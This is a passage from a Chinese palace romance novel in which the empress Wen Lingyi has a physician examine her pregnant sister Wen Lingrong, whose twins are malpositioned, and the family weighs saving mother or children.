温令容缓缓地勾起唇角:“嗯,我相信妹妹,妹妹是能扭转乾坤的人。” “长姐信我就好。”温令仪吩咐太医和林宝娘入内,同时裴祈安和萧玄策也在外间,如今赶路人已到了眼前,萧玄策自是不会隐瞒分毫。 隔着一道门,林宝娘和太医们给温令容诊脉、查看腹中胎儿情况,别人不说,林宝娘的技艺确实超群,一炷香的工夫,太医们退下,林宝娘留在床前。 “宝娘,长姐这一胎如何?”温令仪问。 林宝娘看看温令容,说:“皇后娘娘,若能给微臣三日,可尝试转胎位,现如今胎儿在府中一顺一横。” 温令仪点了点头:“有几成胜算?” “七成。”林宝娘说:“若不能安然诞下,危急关头,宝娘还有保住大小姐的手段,到那时候皇后娘娘怕是要取舍。” 温令容一把抓住了温令仪的手:“保小。” “长姐,你是习武之人,体质跟寻常妇道人家不同,无需担忧,力求保住母子三人。”温令仪说,其实心里已经想明白了,若到了紧要关头,自己必定会极力保住长姐的性命! 温令容轻轻地抚着腹部,在心里默默对两个孩子说着话,惟愿他们能顺利降生。 让人进来守着温令容,温令仪带着林宝娘出门,几位太医都在,把所有情况都和萧玄策说明后,萧玄策说:“保住令容。” 温令仪抬眸看着萧玄策,有他这句话,就够了!